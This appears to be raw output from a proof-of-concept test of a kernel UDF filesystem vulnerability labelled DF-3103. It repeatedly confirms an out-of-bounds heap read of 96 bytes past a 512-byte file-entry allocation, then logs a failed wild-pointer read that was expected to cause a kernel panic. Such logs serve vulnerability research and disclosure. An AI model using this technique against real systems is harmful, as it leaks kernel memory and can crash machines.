# DF-3103 leak sample: EMB read(96) x3 (all OOB heap past the 512-byte fentry) read() returned 96 bytes from embedded file (requested 96) bytes returned (OOB kernel heap beyond 512-byte fentry): [96 bytes] 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050: 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ DF3103_LEAK_CONFIRMED: 96 bytes copied from kernel heap at fentry->data[0x1000] (~3.7KB past a 512-byte M_UDFFENTRY allocation) -- read() returned 96 bytes from embedded file (requested 96) bytes returned (OOB kernel heap beyond 512-byte fentry): [96 bytes] 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050: 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ DF3103_LEAK_CONFIRMED: 96 bytes copied from kernel heap at fentry->data[0x1000] (~3.7KB past a 512-byte M_UDFFENTRY allocation) -- read() returned 96 bytes from embedded file (requested 96) bytes returned (OOB kernel heap beyond 512-byte fentry): [96 bytes] 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050: 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ DF3103_LEAK_CONFIRMED: 96 bytes copied from kernel heap at fentry->data[0x1000] (~3.7KB past a 512-byte M_UDFFENTRY allocation) # EMB2 wild pointer (l_ea=0x40000000): --- EMB2 wild-pointer read (l_ea=0x40000000, +1GB past alloc) -- expect kernel panic --- read(96) failed: Bad address RUN_EMB2_EXIT=1